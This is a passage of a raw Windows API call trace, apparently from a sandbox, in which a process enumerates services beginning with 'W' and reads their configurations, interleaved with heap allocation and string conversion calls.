cbBufSize=0x120, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.171] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c930c0 [0028.171] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93148 [0028.171] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c930c0) returned 1 [0028.171] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93148) returned 1 [0028.171] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93148 [0028.171] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c930c0 [0028.172] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93148) returned 1 [0028.172] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c930c0) returned 1 [0028.172] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c930c0 [0028.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.172] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c93fd0 [0028.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c93fd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.172] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c93f88 [0028.172] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93fd0) returned 1 [0028.172] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93f88) returned 1 [0028.172] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c930c0) returned 1 [0028.172] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x280) returned 0x1d1f5e8 [0028.172] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d208b8) returned 1 [0028.172] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c93f88 [0028.172] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c930c0 [0028.172] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93148 [0028.172] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c931d0 [0028.172] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93258 [0028.172] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c932e0 [0028.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windefend", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.172] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c93fd0 [0028.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windefend", cchWideChar=9, lpMultiByteStr=0x1c93fd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windefend", lpUsedDefaultChar=0x0) returned 9 [0028.172] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94018 [0028.172] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93fd0) returned 1 [0028.172] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94018) returned 1 [0028.172] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c932e0) returned 1 [0028.172] OpenServiceW (hSCManager=0x286c38, lpServiceName="WinDefend", dwDesiredAccess=0x1) returned 0x286dc8 [0028.172] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.173] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.173] GetLastError () returned 0x7a [0028.173] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x104, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.173] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c932e0 [0028.173] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93368 [0028.173] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c932e0) returned 1 [0028.173] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93368) returned 1 [0028.173] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93368 [0028.173] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c932e0 [0028.173] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93368) returned 1 [0028.173] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c932e0) returned 1 [0028.173] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c932e0 [0028.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.173] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94018 [0028.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c94018, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.173] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c93fd0 [0028.173] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94018) returned 1 [0028.173] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93fd0) returned 1 [0028.173] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c932e0) returned 1 [0028.173] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c93fd0 [0028.173] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c932e0 [0028.173] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93368 [0028.173] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c933f0 [0028.173] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93478 [0028.173] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93500 [0028.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winhttpautoproxysvc", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0028.173] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94018 [0028.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winhttpautoproxysvc", cchWideChar=19, lpMultiByteStr=0x1c94018, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="winhttpautoproxysvc", lpUsedDefaultChar=0x0) returned 19 [0028.173] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94060 [0028.174] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94018) returned 1 [0028.174] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94060) returned 1 [0028.174] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93500) returned 1 [0028.174] OpenServiceW (hSCManager=0x286c38, lpServiceName="WinHttpAutoProxySvc", dwDesiredAccess=0x1) returned 0x286d28 [0028.174] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.174] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.174] GetLastError () returned 0x7a [0028.174] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x158, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.174] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93500 [0028.174] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93588 [0028.174] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93500) returned 1 [0028.174] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93588) returned 1 [0028.174] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93588 [0028.174] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93500 [0028.174] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93588) returned 1 [0028.174] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93500) returned 1 [0028.174] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93500 [0028.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.175] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94060 [0028.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c94060, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.175] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94018 [0028.175] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94060) returned 1 [0028.175] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94018) returned 1 [0028.175] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93500) returned 1 [0028.175] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94018 [0028.175] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93500 [0028.175] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93588 [0028.175] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93610 [0028.175] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93698 [0028.175] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93720 [0028.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.175] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94060 [0028.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winmgmt", cchWideChar=7, lpMultiByteStr=0x1c94060, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="winmgmt", lpUsedDefaultChar=0x0) returned 7 [0028.175] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c940a8 [0028.175] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94060) returned 1 [0028.175] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c940a8) returned 1 [0028.175] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93720) returned 1 [0028.175] OpenServiceW (hSCManager=0x286c38, lpServiceName="Winmgmt", dwDesiredAccess=0x1) returned 0x286e18 [0028.175] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.175] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.176] GetLastError () returned 0x7a [0028.176] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x128, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.176] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93720 [0028.176] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c937a8 [0028.176] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93720) returned 1 [0028.176] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c937a8) returned 1 [0028.176] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c937a8 [0028.176] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93720 [0028.176] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c937a8) returned 1 [0028.176] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93720) returned 1 [0028.176] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93720 [0028.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.176] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c940a8 [0028.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c940a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.176] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94060 [0028.176] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c940a8) returned 1 [0028.176] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94060) returned 1 [0028.176] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93720) returned 1 [0028.176] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94060 [0028.176] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93720 [0028.176] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c937a8 [0028.176] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93830 [0028.176] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c938b8 [0028.176] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93940 [0028.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.176] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c940a8 [0028.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winrm", cchWideChar=5, lpMultiByteStr=0x1c940a8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="winrm", lpUsedDefaultChar=0x0) returned 5 [0028.176] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c940f0 [0028.176] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c940a8) returned 1 [0028.176] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c940f0) returned 1 [0028.176] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93940) returned 1 [0028.176] OpenServiceW (hSCManager=0x286c38, lpServiceName="WinRM", dwDesiredAccess=0x1) returned 0x286d00 [0028.177] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.177] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.177] GetLastError () returned 0x7a [0028.177] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x16e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.177] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93940 [0028.177] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c939c8 [0028.177] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93940) returned 1 [0028.177] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c939c8) returned 1 [0028.177] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c939c8 [0028.177] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93940 [0028.177] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c939c8) returned 1 [0028.177] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93940) returned 1 [0028.177] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93940 [0028.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.177] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c940f0 [0028.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c940f0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.177] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c940a8 [0028.177] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c940f0) returned 1 [0028.177] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c940a8) returned 1 [0028.177] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93940) returned 1 [0028.178] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c940a8 [0028.178] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93940 [0028.178] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c939c8 [0028.178] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93a50 [0028.178] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93ad8 [0028.178] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93b60 [0028.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wlansvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.178] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c940f0 [0028.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wlansvc", cchWideChar=7, lpMultiByteStr=0x1c940f0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wlansvc", lpUsedDefaultChar=0x0) returned 7 [0028.178] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94138 [0028.178] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c940f0) returned 1 [0028.178] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94138) returned 1 [0028.178] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93b60) returned 1 [0028.178] OpenServiceW (hSCManager=0x286c38, lpServiceName="Wlansvc", dwDesiredAccess=0x1) returned 0x286dc8 [0028.178] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.178] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.178] GetLastError () returned 0x7a [0028.178] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x16a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.182] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93b60 [0028.183] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93be8 [0028.183] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93b60) returned 1 [0028.183] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93be8) returned 1 [0028.183] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93be8 [0028.183] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93b60 [0028.183] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93be8) returned 1 [0028.183] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93b60) returned 1 [0028.183] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93b60 [0028.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.183] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94138 [0028.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c94138, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.183] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c940f0 [0028.183] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94138) returned 1 [0028.183] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c940f0) returned 1 [0028.183] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93b60) returned 1 [0028.183] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c940f0 [0028.183] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93b60 [0028.183] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93be8 [0028.183] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93c70 [0028.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmiapsrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmiapsrv", cchWideChar=8, lpMultiByteStr=0x1c94138, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmiapsrv", lpUsedDefaultChar=0x0) returned 8 [0028.183] OpenServiceW (hSCManager=0x286c38, lpServiceName="wmiApSrv", dwDesiredAccess=0x1) returned 0x286d28 [0028.183] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.184] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.184] GetLastError () returned 0x7a [0028.184] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0xfe, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmiapsrv.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmiapsrv.exe", cchWideChar=12, lpMultiByteStr=0x1c94180, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmiapsrv.exe", lpUsedDefaultChar=0x0) returned 12 [0028.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmpnetworksvc", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmpnetworksvc", cchWideChar=13, lpMultiByteStr=0x1c94180, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnetworksvc", lpUsedDefaultChar=0x0) returned 13 [0028.184] OpenServiceW (hSCManager=0x286c38, lpServiceName="WMPNetworkSvc", dwDesiredAccess=0x1) returned 0x286e18 [0028.184] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.184] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.185] GetLastError () returned 0x7a [0028.185] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x16e, 